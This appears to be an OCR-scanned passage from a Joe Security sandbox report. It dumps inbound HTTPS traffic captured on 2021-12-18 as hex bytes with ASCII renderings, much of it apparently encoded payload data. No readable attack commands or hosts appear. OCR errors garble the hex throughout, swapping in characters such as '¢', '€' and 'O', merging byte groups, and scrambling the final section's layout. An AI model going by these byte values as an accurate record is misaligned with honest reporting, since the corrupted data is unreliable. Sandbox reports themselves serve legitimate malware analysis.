db 20 ba 98 d6 1d fa 68 9b 2d f8 ad 7c e0 f3 29 7f
Data Ascii: -nZ2-EdPY8\cdIQMfk%7i!=J6?xpV5HZYZ95s8*t 2_Xa5hAf?%*/y*PFLQI[]<XW\y/Ud*er/_~dux|T(wh0-&0t h-|)

2021-12-18 17:40:10 UTC 197 IN Data Raw: 47 b5 2b 25 71 b1 42 7d c¢8 8a c7 75 6f e5 c¢7 48 fb 93 Oc a2 48 Oc c9 2d e7 f9 30 49 db 94 b6 1a 32 48 a9 b7
3aed b7 a7 c7 6¢ 2f 01 dO f5 47 a0 db ce dO 8b b6 92 1b 33 f2 2f a6 ae 53 d7 51 e5 5b 2 ¢3 6¢ 83 0f 6a 07 27 ¢3 04 1d a9
af 09 09 52 9b 46 5d f1 58 54 db be 5d 28 44 f7 71 ef ea a2 a2 1c fc 9f 48 95 52 b4 61 73 64 ff fd 18 78 f4 Oe 5¢c 44 de e9
4d 6e 79 16 b2 64 c7 f4 Oe c6 ae 68 db 7c Ob 72 70 38 19 07 9d f4 fe 72 47 71 2b 8a 41 5a 93 13 25 c6 5a f6 a0 dd e7 65
80 60 ce ce 5d 56 07 e8 87 1f 1c Oe c8 40 65 c3 84 45 b3 d3 6a b7 48 17 68 7c 2b 00 7e db 2a ca f7 d9 4d 51 d9 cf 67 7a
62 e0 31 28 29 ec 55 76 06 a9 c0 d7 ff 67 71 78 39 f3 94 2e 94 2c 8f 84 3d d9 1a 92 82 21 5a 09 al €9 19 5f 69 84 57 37
d9 82 15 2c 48 b8 fc fc 30 1c 72 19 b6 78 7f 6¢ c3
Data Ascii: G+%qB}uoHH-012H:l/G3/SQIl'RF]XT](DgHRasdx\DMnydh|rp8rGg+AZ%Ze IV@eEjHh|+~*MQgzb1()Uvgax
9.,=1Z_iW7,HOrxI

2021-12-18 17:40:10 UTC 201 IN Data Raw: 02 50 56 77 32 be dd 67 c3 6a 37 7a 9a c0 6b 1f al 09 64 dd da ec a7 e3 ac ca 8e 67 5a 18 88 05 50 2e db 36
8a 68 78 €3 12 30 c¢8 95 ac ef 1b f1 ¢1 71 10 e8 3c 14 21 36 42 00 ca f0 ab 2f 0a 75 33 b2 62 16 84 21 92 2b el f5 4d a2 fc
04 cc 04 b6 5e 02 a7 4e 18 b5 e0 02 e4 ac 1c 76 d9 bd a7 a9 e9 74 8b 4e bc 1f a8 ca 68 94 3a 6d 78 ae 71 2¢c 43 57 7e 6b
3e 36 e8 b3 c7 ab 98 50 eb 9f da 8f 37 b7 85 5f 83 39 11 ca bf 79 15 48 81 2b 3a f0 39 ac f8 43 36 65 8a c5 Of ea 44 95 19
5c bc da Oe 32 1d e4 46 83 20 e0 59 5e d6 a2 1b 1a 4f 9d 15 b6 bc 4a 84 b3 71 1f 6 40 34 66 42 a5 73 42 d5 15 ea b7 92
da d8 9e 7f dO 7b d9 78 5e 93 6d 55 d3 53 e6 e4 4d 38 9f 28 d5 76 be 05 e3 e8 55 8e al 69 0f 21 9d 50 c7 75 5a 23 4b d6
12 2a d9 c4 8 c5 2a 9e ec 39 00 69 cd b0 d2 03 99
Data Ascii: PVw2gj7zkdgZP.6hx0q<!6B/u3b!+M"NvtNh:mxq,CW~k>6P7_9yH+:9C6eD\2F Y OJq@4fBsB{x"mUSM8(vUi!
PuZ#K**9i

2021-12-18 17:40:10 UTC 206 IN Data Raw: Ob 31 62 55 el Ob 98 58 64 d4 a6 68 30 9d b2 11 a7 61 5d 54 al 25 40 75 e7 46 9f 15 a5 be fc f3 3f 51 35 97
5d 8d 93 31 ac 55 d7 52 21 5b 46 dc 30 1b 4d 3d aa Oc b7 65 d3 99 ad 4c 75 35 78 79 2c e0 4a fa 41 60 10 1d 62 7a el
5c al b6 4e al e5 b6 da 6f Ob 66 fd a9 d5 99 60 d6 f8 ec ea 47 c5 f6 71 2e 39 cc b5 ed €9 e7 c1 74 5a df 37 cf ¢3 38 c5 89
6f 2d 2b 98 24 47 a8 e8 1a 16 59 32 ac 6b 27 54 03 ¢7 83 99 f2 b5 74 f2 5¢ 50 7d 89 3a fd c4 d4 79 60 dd 5e 4a 44 7e 03
8510 a8 f28d d5 16 6¢ 02 62 7c 27 8f 2c 13 a2 a3 3a 72 33 85 11 07 35 34 10 9c ed fO €8 45 aa ab ba 3b cf f5 7c 25 ac
19 da ea 5d ed 6f 11 al 2d 5a 8e f4 ca 45 cc 5¢ 17 7e 7b al d7 97 d8 f8 ff ca Oe 7c 32 Oc 9c b5 71 7e 4d 61 4f 3a f4 d5 70
1 81 ce 23 65 ee 3¢ 98 08 e0 86 a4 5¢ d8 15 cb 80 cc
Data Ascii: 1bUXdh0a]T%@uF?Q5]1UR![FOM=eLu5xy,JA’bz\Nof Gq.9tZ780-+$G Y2k Tt\P}.y AID~Ib|',:r354E;|%]o-ZE\~
{|2g~MaO:p#e<\

2021-12-18 17:40:10 UTC 210 IN Data Raw: 50 ab fc a8 c2 cc dc f7 81 b6 23 42 22 €0 4c 4b 25 49 a3 e2 f2 2d 1e 49 de db 77 81 44 ad b9 00 fc fb da 13 26
ca 12 0d 1d fO e7 2b 11 fc d6 6a 34 83 8e ba 9b 00 24 90 ec 0d b1 e0 08 ec 74 f2 d3 db f6 3d f1 95 e8 a3 c1 65 Oa 47 Oa
75 0f 24 02 14 06 f5 31 3e 21 61 5d 41 e4 2e 8b c5 c5 bd el c2 7d 62 eb fO fa 8a 87 46 00 34 3e 35 le c9 99 6e cb d6 35
df 2d 9a 36 81 a9 85 93 76 8f a8 ef bf 18 ca 05 aa e5 a9 1c fe 8f cb b5 42 48 2f 18 88 4a fb 8b a0 6¢ ec 81 67 58 ea db 85
Oe c5 49 98 89 1c 59 2f 69 19 29 73 ec 8a 8f e0 50 df 98 93 38 29 93 Oe aa fb 45 6e 28 d9 a9 00 97 c5 ed ec a4 40 d3 d8
88 c5 9a 39 3d 47 4d 27 00 0f 49 al dd 81 a7 a6 d6 92 78 2d 19 c5 68 7d ca 3d b2 70 20 f1 79 77 b6 2e c8 1d 1f Oc 31 41
Oe 55 48 96 5a f2 ba 97 54 50 dc c7 el 8d cf 3d 21
Data Ascii: P#B"LK%I-lwD&+j4$t=eGu$1>!a]A }bF4>5n5-6vBH/JIgXIY/i)sP8)En(@9=GM'Ix-h}=p yw.1AUHZTP=!

2021-12-18 17:40:10 UTC 214 IN Data Raw: 10 40 50 €0 5¢c al 71 el 78 dd 67 99 06 ea 9b 0d 5e a9 ca e0 5¢ 2b 93 06 70 97 4e 03 eb b3 ca 06 7f 33 35 6d
e7 a9 f7 00 84 4b 5a d1 a9 8d df f6 ef c7 cb 78 5c f4 fd 39 €3 61 80 44 ba d5 5d 96 35 08 ee Ob 60 d3 35 7e 98 21 14 10
8b fe ef 5¢ b4 22 ce e5 82 c9 e4 96 23 67 6¢ fb d3 51 fd b7 5f fc ac fb ac d0 a4 9f 1a c5 df 59 7d c2 8b 89 4e fd 14 6b 1c ea
72 4c 9b 7ac6 11 3d 78 a4 2d cc 97 ab 2d 09 3d dc 46 4b 57 1e Oc 4e 12 b3 38 49 7d bl e3 59 9e 3f 2d 41 fd 1e 4d db 5b
00 43 13 cc 82 73 b3 3f f8 c8 ad cf 10 ce 27 5a 10 a5 74 73 2¢ 42 43 06 29 1f 6a d0 d9 79 c9 74 30 97 90 24 bb f8 5e 6d
ca eb e0 92 4e 48 af 8e be 0d 7e 36 2b 4e 1b 1f Oc f7 a8 b0 7f 73 1b ff 81 c6 5e 0a 51 c4 ac 7c 3 ce la 2a ef b4 c3 5c¢ ff
12 7f 92 40 15 29 69 84 e6 28 74 9e 46 1c 4a 66
Data Ascii: @P\qxg"\+pN35mKZx\9aD]5 5~\"#glQ_Y}NkrLz=x--=FKWNB8I}Y?-AM[Cs?'Zts,BC)jyt0$"mNH~6+NsQ[*
\@)i(tFIf

2021-12-18 17:40:10 UTC 225 IN Data Raw: 15 1c df c5 ae 0f a7 5e 60 db 09 85 8e 6b a3 42 08 51 71 ca 57 ff a2 c5 a7 8d fd 44 6d 47 80 47 f1 63 76 15 dd
82 79 c5 2d da 84 b6 04 08 ca af e4 8f 00 c8 a7 e7 85 82 f9 f6 16 61 db 85 ad 85 32 94 ea 75 c0 e2 0d f8 19 78 f2 8b a4 41
80 ec ad 28 cd d5 22 52 2d 40 69 00 1c 5f 35 11 73 0f 41 87 92 Oa 26 f4 bb a2 c¢9 3c 85 6d a9 al 81 Oc d6 6a b0 58 aa ab
f7 57 d6 bf b7 84 f9 e6 dd 65 a6 45 81 98 58 4a 99 db 7c 47 72 67 19 eb b2 8f 28 f5 9¢ 53 ¢5 63 c4 62 9f 2f 2b e6 1c df bb
9d 83 28 fb b5 83 92 51 ¢8 {7 f5 ac 7e cb 41 84 9b 8c ee bd 7 ae d1 ce 03 c8 f8 65 bf 5¢c a6 70 Ob 8a ee ec f6 2b ed a0 c2
eb cb 09 8¢ 11 f8 2b 52 40 fc ea ff 7d d6 06 05 70 ce 1a 42 39 ac 4f aa 9a c8 e2 ae 96 ef cb 71 de 4c c1 7a 39 54 cf cf 5b
al ac d4 cb 86 c9 fb 37 71 f6 dO e3 31 2¢
Data Ascii: " kBQQWDMGGcvy-a2uxA('R-@i_5sA&<mjXWeEXJ|Grg(Sch/+(Q~Ae\p++R@}pB90qLz9T[7q1,

2021-12-18 17:40:10 UTC 241 IN Data Raw: 43 9c 1e ef 02 21 fa fe 48 c2 7b 5d b5 42 ea da 55 82 4b a8 77 a0 87 el 07 fe 00 de fa 96 68 8f 82 a2 ee f2 36
92 7d 95 86 53 81 c6 a6 51 68 ca 68 fc a9 fd 10 0d 34 d4 31 be fd b0 7d 30 bc 1b 2d 8f a5 97 Oe 7d 92 1d dc fd 5d 91 63 f3
ec 2d ef 14 Oe a0 96 a7 4a 9f 4c 37 02 6f 86 13 97 5b 83 44 78 9a Oa 3c a2 9b f0 e4 42 {8 cc 92 56 b7 a9 fe 7a ee 2b ba
89 a7 a0 ba 15 e7 82 24 0d 48 e8 7f 11 3a d9 a6 74 bc aa f8 e3 fa Oc 3a 5b 17 ¢6 c5 e7 97 b2 fb 49 29 ac d2 45 bb 79 ab
eb bb 0a 39 2d 51 e2 51 67 e6 €8 9e cc 71 62 b0 43 d4 d4 af ad 76 ad 0a b0 dc e5 f1 89 07 c5 6a 6e 9a a8 3 ed 05 00 a3
d0 81 a4 8a 3d 88 69 7c b7 {7 f9 bb 0f Ob f9 3 49 9f 77 6b 18 4c b5 28 17 a2 dc 7e 49 Ob 8a cc 44 77 cc a6 15 d1 1c bf 16
1a f8 52 03 b0 9f 27 21 3c 4f 49 4e c2 9a 10 8f
Data Ascii: C!H{]BUKwh6}SQhh41}0-}]c-JL70[Dx<BVz+$H:t:[1)Ey9-QQgqgbCvjn=i|lwkL(~IDWR'I<OIN
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kBytes
Timestamp transferred Direction Data

2021-12-18 17:40:10 UTC 257 IN Data Raw: 76 00 2b 00 75 00 38 00 31 00 55 00 54 00 2f 00 32 00 34 00 37 00 62 00 37 00 4a 00 4f 00 6e 00 42 00 61 00
66 00 2f 00 38 00 35 00 76 00 78 00 6a 00 38 00 6e 00 78 00 51 00 50 00 51 00 49 00 58 00 4d 00 67 00 6d 00 75 00 62
00 5a 00 32 00 34 00 35 00 41 00 30 00 58 00 56 00 67 00 42 00 71 00 4e 00 58 00 78 00 75 00 77 00 4c 00 46 00 75 00
42 00 48 00 7a 00 37 00 31 00 53 00 53 00 31 00 47 00 41 00 58 00 74 00 6¢ 00 50 00 39 00 47 00 41 00 62 00 47 00 56
00 4c 00 76 00 6b 00 42 00 53 00 64 00 63 00 63 00 75 00 44 00 66 00 6f 00 4b 00 4a 00 4e 00 58 00 54 00 68 00 6e 00 4f
00 4f 00 73 00 46 00 7a 00 69 00 4b 00 5a 00 30 00 6d 00 74 00 6¢ 00 41 00 48 00 73 00 61 00 58 00 54 00 37 00 78 00
6a 00 2f 00 63 00 35 00 59 00 54 00 70 00 73 00 62 00 2b 00 64 00 70
Data Ascii: v+u81UT/247b7JOnBaf/85vxj8nxQPQIXMgmubZ245A0XVgBgNXxuwLFuBHz71SS1GAXiIPO9GAbGVL
vkBSdccuDfoKINXThnOOsFziKZOmtIAHsaXT7xj/c5Y Tpsbh+dp

2021-12-18 17:40:10 UTC 273 IN Data Raw: 54 00 69 00 4f 00 6e 00 6a 00 6a 00 51 00 5a 00 51 00 77 00 4b 00 53 00 73 00 6a 00 48 00 31 00 65 00 59 00
3200 78 00 4f 00 39 00 6¢ 00 37 00 78 00 4f 00 30 00 37 00 39 00 65 00 58 00 57 00 75 00 6a 00 50 00 77 00 70 00 6¢
00 44 00 76 00 64 00 66 00 4c 00 42 00 68 00 65 00 68 00 49 00 78 00 6b 00 33 00 41 00 6¢ 00 4f 00 4a 00 44 00 32 00
35 00 5a 00 69 00 6b 00 30 00 55 00 79 00 6b 00 37 00 4f 00 52 00 58 00 6f 00 55 00 59 00 33 00 43 00 7a 00 75 00 54 0
067 00 61 00 49 00 6b 00 68 00 6f 00 41 00 67 00 6d 00 52 00 4c 00 47 00 54 00 61 00 72 00 7a 00 6f 00 31 00 38 00 4b
00 6d 00 5a 00 6a 00 55 00 6¢ 00 4a 00 4f 00 55 00 48 00 73 00 53 00 37 00 50 00 76 00 54 00 75 00 51 00 48 00 64 00
4c 00 31 00 51 00 78 00 71 00 76 00 78 00 41 00 35 00 37 00 4d 00 2b
Data Ascii: TiOnjjQZQwKSsjH1eY2x0917x0079eXWujPwplDvdfLBhehIxk3AlOJD25Zik0Uyk7ORXoUY3CzuTg
alkhoAgmRLGTarzo18KmZjUIJOUHsS7PvTuQHdL1QxqvxA57M+

2021-12-18 17:40:10 UTC 289 IN Data Raw: 76 00 37 00 36 00 53 00 6b 00 57 00 31 00 75 00 64 00 4a 00 32 00 59 00 6b 00 32 00 32 00 64 00 32 00 78
00 6f 00 54 00 58 00 4f 00 2b 00 5a 00 39 00 32 00 79 00 6¢ 00 6d 00 69 00 75 00 53 00 54 00 48 00 59 00 34 00 44 00 6f
00 50 00 54 00 30 00 70 00 66 00 6b 00 50 00 67 00 6¢ 00 2b 00 4b 00 58 00 53 00 78 00 30 00 52 00 70 00 72 00 36 00
4e 00 4c 00 75 00 73 00 53 00 54 00 73 00 49 00 4b 00 4f 00 46 00 73 00 32 00 5a 00 6f 00 4b 00 4a 00 44 00 47 00 59 00
38 00 6f 00 61 00 4e 00 77 00 51 00 34 00 55 00 45 00 6b 00 77 00 65 00 54 00 49 00 57 00 37 00 51 00 43 00 38 00 77 O
0 4a 00 42 00 43 00 68 00 48 00 50 00 2b 00 5a 00 6¢ 00 30 00 6f 00 65 00 4f 00 53 00 51 00 4d 00 49 00 6f 00 6d 00 78
00 7a 00 43 00 50 00 78 00 65 00 77 00 31 00 45 00 48 00 71 00 31
Data Ascii: v76SkW1udJ2Yk22d2xoTXO+Z92yImiuSTHY4DoPTOpfkPgl+KXSx0Rpr6NLusSTsIKOFs2ZoKJDGY8
0aNwQ4UEkweTIW7QC8wJIBChHP+ZI00eOSQMIomxzCPxewl1EHql

2021-12-18 17:40:10 UTC 305 IN Data Raw: 66 00 66 00 69 00 63 00 77 00 64 00 6d 00 67 00 78 00 53 00 68 00 2b 00 73 00 46 00 6b 00 2b 00 49 00 72
00 7a 00 51 00 42 00 54 00 33 00 43 00 4a 00 7a 00 33 00 49 00 78 00 54 00 46 00 39 00 4a 00 53 00 30 00 55 00 6d 00
6b 00 7a 00 33 00 35 00 48 00 53 00 58 00 6d 00 52 00 72 00 69 00 2b 00 4a 00 74 00 51 00 7a 00 61 00 79 00 4d 00 33
00 74 00 5a 00 72 00 30 00 38 00 51 00 6¢ 00 4b 00 70 00 2f 00 37 00 32 00 64 00 62 00 42 00 75 00 64 00 71 00 74 00
64 00 6b 00 77 00 76 00 5a 00 58 00 65 00 56 00 72 00 32 00 4b 00 62 00 44 00 71 00 67 00 6a 00 6¢ 00 68 00 65 00 65
00 6f 00 44 00 6a 00 43 00 7a 00 36 00 4c 00 38 00 45 00 6¢ 00 70 00 37 00 31 00 74 00 73 00 32 00 55 00 6a 00 4a 00
79 00 58 00 4e 00 6b 00 47 00 76 00 34 00 37 00 70 00 70 00 63 00 41 00 47
Data Ascii: fficwdmgxSh+sFk+IrzQBT3CJz3IXxTF9IS0Umkz35HSXmRri+JtQzayM3tZr08QIKp/72dbBudqtdkwvZXeVr2Kb
DqgjlheeoDjCz6L8EIp71ts2UjIyXNkGv47ppcAG

2021-12-18 17:40:10 UTC 321 IN Data Raw: 59 00 30 00 4f 00 6d 00 46 00 4c 00 6f 00 6¢ 00 56 00 61 00 56 00 78 00 78 00 68 00 42 00 71 00 4f 00 4c 00
64 00 62 00 64 00 74 00 43 00 75 00 48 00 6a 00 48 00 6f 00 33 00 52 00 58 00 73 00 4e 00 30 00 6¢ 00 33 00 42 00 49
00 2f 00 6a 00 79 00 5a 00 2b 00 2b 00 52 00 4a 00 79 00 57 00 46 00 6b 00 55 00 63 00 34 00 73 00 32 00 45 00 44 00
52 00 30 00 66 00 41 00 4c 00 37 00 6a 00 42 00 58 00 52 00 7a 00 77 00 4d 00 56 00 57 00 44 00 35 00 53 00 36 00 37
00 67 00 62 00 4c 00 73 00 77 00 76 00 6d 00 59 00 69 00 45 00 48 00 42 00 68 00 73 00 59 00 6b 00 43 00 75 00 47 00
6400 78 00 73 00 50 00 47 00 4e 00 61 00 42 00 4b 00 56 00 76 00 54 00 36 00 54 00 38 00 48 00 30 00 45 00 53 00 6e
00 56 00 74 00 75 00 56 00 74 00 70 00 73 00 77 00 72 00 6a 00 79 00 63
Data Ascii: YOOmFLolVaVxxhBgOLdbdtCuHjHo3RXsNOI3BI/jyZ++RJyWFkUc4s2EDROfAL7BXRzwMVWD5S67g
bLswvmYiEHBhsYkCuGdxsPGNaBKVVT6T8HOESnVtuVtpswrjyc

2021-12-18 17:40:10 UTC 337 IN Data Raw: 46 00 67 00 53 00 71 00 43 00 57 00 78 00 64 00 72 00 54 00 76 00 4f 00 4c 00 65 00 75 00 6f 00 45 00 78 00
5800 43 00 57 00 51 00 59 00 71 00 6a 00 4d 00 71 00 6f 00 48 00 65 00 36 00 49 00 38 00 6b 00 54 00 4c 00 34 00 47
00 62 00 32 00 72 00 78 00 4a 00 2f 00 52 00 66 00 51 00 2b 00 6f 00 4b 00 53 00 4e 00 65 00 65 00 55 00 73 00 43 00
71 00 4c 00 35 00 63 00 69 00 32 00 4e 00 4c 00 30 00 77 00 77 00 4c 00 45 00 35 00 51 00 4e 00 2b 00 4b 00 32 00 65 0
058 00 4e 00 55 00 35 00 71 00 75 00 42 00 4d 00 73 00 70 00 35 00 34 00 45 00 4e 00 69 00 70 00 4c 00 6b 00 48 00
56 00 75 00 39 00 35 00 69 00 77 00 4c 00 36 00 66 00 34 00 67 00 43 00 47 00 51 00 65 00 4c 00 77 00 65 00 66 00 75
00 6f 00 39 00 44 00 4c 00 2b 00 58 00 75 00 57 00 78 00 46 00 63 00 45
Data Ascii: FgSqCWxdrTvOLeuoExXCWQYqjMgoHe6I8kTL4Gb2rxJ/RfQ+0KSNeeUsCqL5ci2NLOWWLESQN+K2eX
NU5quBMsp54ENipLkHVu95iwL6f4gCGQelwefuo9DL+XuWxFcE

2021-12-18 17:40:10 UTC 353 IN Data Raw: 68 00 55 00 64 00 47 00 77 00 52 00 70 00 6e 00 6e 00 58 00 4d 00 51 00 4f 00 57 00 4d 00 32 00 61 00 2f 00
7200 73 00 6a 00 6d 00 73 00 37 00 65 00 2f 00 62 00 6a 00 71 00 65 00 71 00 43 00 32 00 6a 00 77 00 6e 00 2b 00 47
00 74 00 74 00 6d 00 33 00 68 00 4a 00 76 00 43 00 65 00 6a 00 38 00 41 00 71 00 77 00 69 00 32 00 39 00 42 00 48 00
79 00 63 00 52 00 36 00 43 00 44 00 34 00 59 00 58 00 70 00 71 00 68 00 39 00 36 00 2f 00 34 00 6b 00 6b 00 6a 00 65 O
04800 68003300 71 00 32 00 52 00 44 00 6e 00 51 00 65 00 35 00 34 00 63 00 44 00 4a 00 33 00 79 00 4e 00 46 00
7100 75 00 61 00 5a 00 71 00 64 00 52 00 51 00 63 00 6b 00 63 00 58 00 39 00 51 00 39 00 6¢ 00 52 00 6b 00 45 00 75
00 77 00 68 00 43 00 30 00 74 00 67 00 2f 00 61 00 4f 00 42 00 71 00 56
Data Ascii: hUdGwRpnnXMQOWM?2a/rsjms7e/bjgeqC2jwn+Gttm3hJvCej8Aqwi29BHYcR6CD4Y Xpgh96/4kkjeH
h3g2RDnQe54cDJ3yNFquaZqdRQckeX9Q9IRKkEuwhCOtg/aOBgV

2021-12-18 17:40:10 UTC 369 IN Data Raw: 67 00 4f 00 33 00 59 00 52 00 4a 00 6e 00 41 00 4c 00 45 00 78 00 73 00 79 00 53 00 54 00 45 00 68 00 46 00
4d 00 49 00 6e 00 44 00 64 00 6d 00 58 00 47 00 35 00 36 00 70 00 70 00 41 00 49 00 4d 00 2b 00 6a 00 46 00 7a 00 76
00 61 00 5a 00 65 00 6b 00 65 00 4d 00 63 00 48 00 52 00 78 00 31 00 70 00 4b 00 6a 00 52 00 70 00 42 00 72 00 2b 00
47 00 56 00 43 00 7a 00 4b 00 34 00 4b 00 72 00 6f 00 4c 00 2f 00 64 00 74 00 74 00 4e 00 55 00 48 00 52 00 42 00 70 O
046 00 42 00 74 00 37 00 33 00 52 00 55 00 47 00 66 00 72 00 66 00 41 00 74 00 4a 00 57 00 77 00 36 00 76 00 73 00
2b 00 47 00 4b 00 71 00 64 00 61 00 6b 00 54 00 37 00 42 00 6f 00 31 00 39 00 6b 00 76 00 74 00 63 00 7a 00 76 00 62
00 75 00 75 00 30 00 4c 00 77 00 43 00 54 00 44 00 55 00 56 00 37 00 59
Data Ascii: gO3YRJINALExsySTEhFMINDdmXG56ppAlM+jFzvaZekeMcHRx1pKjRpBr+GVCzK4KroL/dttNUHRBpF
Bt73RUGTfAtIWw6Evs+GKgdakT7Bo19kvtczvbuuOLWCTDUV7Y

2021-12-18 17:40:10 UTC 385 IN Data Raw: 6f 00 34 00 43 00 4c 00 4e 00 6d 00 42 00 41 00 77 00 52 00 4e 00 2f 00 2f 00 59 00 6b 00 2f 00 39 00 7a 00
34 00 6f 00 53 00 4e 00 47 00 6b 00 2b 00 71 00 71 00 77 00 45 00 6¢ 00 32 00 35 00 62 00 2f 00 45 00 67 00 79 00 31 00
4300 30 00 76 00 6f 00 63 00 39 00 45 00 79 00 75 00 42 00 33 00 57 00 31 00 53 00 37 00 63 00 68 00 46 00 41 00 67
00 49 00 66 00 35 00 6d 00 37 00 57 00 31 00 42 00 5a 00 6d 00 4f 00 35 00 5a 00 32 00 32 00 73 00 36 00 57 00 67 00
59 00 77 00 46 00 4d 00 44 00 67 00 31 00 76 00 46 00 4c 00 66 00 2f 00 75 00 72 00 35 00 54 00 45 00 6a 00 47 00 4b O
062003900 41 00 51 00 5a 00 6d 00 4e 00 59 00 7a 00 4b 00 51 00 31 00 75 00 35 00 49 00 59 00 73 00 64 00 6d 00
55 00 5a 00 6f 00 67 00 76 00 6b 00 41 00 6a 00 6e 00 6e 00 58 00 39
Data Ascii: 04CLNmBAWRN//Yk/9z40SNGk+qqwEI25b/Egy1COvoc9EyuB3W1S7chFAgQIf5m7W1BZm0O5222s6WgY
WFMDg1vFLfur5TEjGKj9AQZmNYzKQ1u51YsdmUZogvkAjnnX9
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kBytes
Timestamp transferred

2021-12-18 17:40:10 UTC 401

2021-12-18 17:40:10 UTC 417

2021-12-18 17:40:10 UTC 433

2021-12-18 17:40:10 UTC 449

2021-12-18 17:40:10 UTC 465

2021-12-18 17:40:10 UTC 481

2021-12-18 17:40:10 UTC 497

2021-12-18 17:40:10 UTC 513

2021-12-18 17:40:10 UTC 529

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 65 00 4c 00 45 00 73 00 7a 00 64 00 5a 00 4a 00 6¢ 00 46 00 30 00 38 00 75 00 36 00 38 00 76 00 45 00 43 00
3500 73 00 52 00 51 00 79 00 34 00 75 00 43 00 65 00 72 00 57 00 32 00 52 00 4c 00 39 00 42 00 55 00 6f 00 79 00 4a
00 6a 00 39 00 70 00 78 00 4b 00 55 00 66 00 30 00 53 00 58 00 4c 00 68 00 6a 00 4b 00 52 00 70 00 4d 00 76 00 74 00
50 00 49 00 34 00 61 00 73 00 68 00 41 00 6f 00 69 00 63 00 75 00 41 00 39 00 34 00 64 00 67 00 4c 00 57 00 71 00 66 O
05300 3000 64 00 47 00 35 00 65 00 34 00 62 00 78 00 72 00 30 00 38 00 4b 00 39 00 75 00 37 00 4d 00 6d 00 58 00
52 00 46 00 2b 00 6e 00 4a 00 6e 00 6e 00 79 00 4d 00 69 00 57 00 79 00 74 00 71 00 6d 00 4f 00 65 00 62 00 58 00 77
00 69 00 5a 00 45 00 52 00 59 00 4c 00 71 00 72 00 72 00 36 00 32 00 6¢

Data Ascii: eLEszdZJIFO8u68vEC5sRQy4uCerW2RL9BUo0yJj9pxKUfOSXLhjKRpMvtPl4ashAoicuA94dgLWqfS0dG5e4bxr0
8K9u7MmXRF+nJnnyMiWytgmOebXwiZERYLqrr62I

Data Raw: 49 00 4f 00 7a 00 2b 00 31 00 2b 00 50 00 38 00 69 00 74 00 30 00 6b 00 45 00 6e 00 2b 00 73 00 61 00 7a 00
69 00 51 00 32 00 45 00 31 00 63 00 65 00 5a 00 39 00 67 00 4a 00 38 00 53 00 51 00 62 00 52 00 74 00 32 00 6f 00 7a
00 66 00 70 00 44 00 6b 00 4f 00 51 00 6d 00 64 00 43 00 57 00 79 00 58 00 4c 00 36 00 66 00 61 00 63 00 31 00 63 00
6a 00 6e 00 35 00 6d 00 65 00 30 00 4f 00 44 00 51 00 4e 00 61 00 4f 00 73 00 42 00 45 00 4e 00 36 00 4c 00 6a 00 4b 00
36 00 42 00 51 00 56 00 5a 00 2f 00 37 00 47 00 72 00 44 00 73 00 31 00 2b 00 6f 00 51 00 79 00 71 00 32 00 2b 00 49 O
070 00 57 00 6b 00 59 00 4c 00 6a 00 53 00 34 00 33 00 78 00 52 00 53 00 32 00 57 00 58 00 50 00 35 00 78 00 76 00
43 00 44 00 4c 00 6d 00 32 00 32 00 48 00 57 00 65 00 63 00 6e 00 74

Data Ascii: 10z+1+P8itOkEn+saziQ2E1ceZ9gJ8SQbRt20zfpDkOQmdCWyXL6faclcjn5me0ODQNaOsBENG6L|K6
BQVZ/7GrDs1+0Qyq2+IpWkYLjS43xRS2WXP5xvCDLmM22HWecnt

Data Raw: 6d 00 79 00 31 00 2b 00 41 00 51 00 73 00 43 00 4b 00 77 00 53 00 6a 00 59 00 64 00 49 00 37 00 79 00 62
0057 00 71 00 77 00 71 00 32 00 6d 00 33 00 52 00 6d 00 76 00 79 00 55 00 38 00 65 00 77 00 31 00 62 00 35 00 30 00
61 00 35 00 33 00 41 00 42 00 65 00 54 00 44 00 58 00 49 00 34 00 65 00 63 00 33 00 67 00 72 00 45 00 4f 00 62 00 48 0
0 73 00 65 00 37 00 4e 00 63 00 77 00 59 00 72 00 2f 00 4a 00 2f 00 67 00 43 00 33 00 72 00 57 00 46 00 51 00 4a 00 39
00 50 00 73 00 5a 00 5a 00 6a 00 30 00 64 00 6d 00 33 00 7a 00 49 00 6f 00 35 00 34 00 2b 00 43 00 72 00 76 00 42 00
50 00 6a 00 32 00 37 00 6d 00 42 00 67 00 36 00 5a 00 38 00 49 00 31 00 75 00 76 00 2b 00 2b 00 46 00 34 00 36 00 31
00 46 00 72 00 69 00 6b 00 75 00 38 00 62 00 37 00 75 00 4a 00 78 00 4e

Data Ascii: my1+AQsCKwSjYdI7ybWawg2m3RmvyU8ew1b50a53ABeTDXI4ec3grEObHse7NcwYr/J/gC3rWFQJ9P
$ZZj0dm3z1054+CrvBPj27mBg6Z8I1uv++F461Friku8b7uJxN

Data Raw: 31 00 71 00 5a 00 5a 00 46 00 59 00 57 00 5a 00 6f 00 32 00 53 00 33 00 76 00 44 00 31 00 51 00 33 00 41 00
73 00 4f 00 5a 00 4a 00 57 00 78 00 78 00 55 00 6e 00 52 00 76 00 35 00 69 00 56 00 6a 00 77 00 6a 00 73 00 4e 00 4c
00 50 00 54 00 53 00 71 00 74 00 50 00 68 00 43 00 78 00 49 00 72 00 2f 00 62 00 62 00 6e 00 48 00 75 00 2f 00 49 00
6a 00 51 00 34 00 78 00 50 00 72 00 42 00 78 00 6f 00 53 00 63 00 33 00 38 00 77 00 77 00 54 00 56 00 33 00 74 00 54 0
048 00 37 00 61 00 4d 00 4b 00 2f 00 54 00 6d 00 34 00 2f 00 49 00 59 00 2f 00 79 00 53 00 54 00 6d 00 34 00 64 00 56
00 41 00 39 00 69 00 4f 00 62 00 37 00 56 00 2f 00 72 00 78 00 31 00 78 00 65 00 79 00 74 00 2f 00 41 00 63 00 48 00 32
00 31 00 79 00 6b 00 76 00 7a 00 51 00 64 00 55 00 73 00 7a 00 6e

Data Ascii: 1gZZFYWZ02S3vD1Q3AsOZJIWxxUnRv5iVjwjsNLPTSqtPhCxIr/bbnHu/ljQ4xPrBxoSc38wwTV3tTH7aMK/Tm4/|
Y/lySTm4dVA9iOb7V/rx1xeyt/AcH21ykvzQdUszn

Data Raw: 61 00 70 00 72 00 79 00 64 00 63 00 78 00 77 00 32 00 68 00 79 00 53 00 59 00 4c 00 47 00 49 00 48 00 44 00
7a 00 54 00 38 00 4c 00 4f 00 51 00 42 00 44 00 69 00 44 00 33 00 76 00 56 00 4b 00 58 00 7a 00 52 00 65 00 5a 00 53
00 6¢ 00 30 00 57 00 50 00 43 00 47 00 2b 00 71 00 6d 00 43 00 61 00 5a 00 2f 00 35 00 47 00 69 00 56 00 64 00 59 00
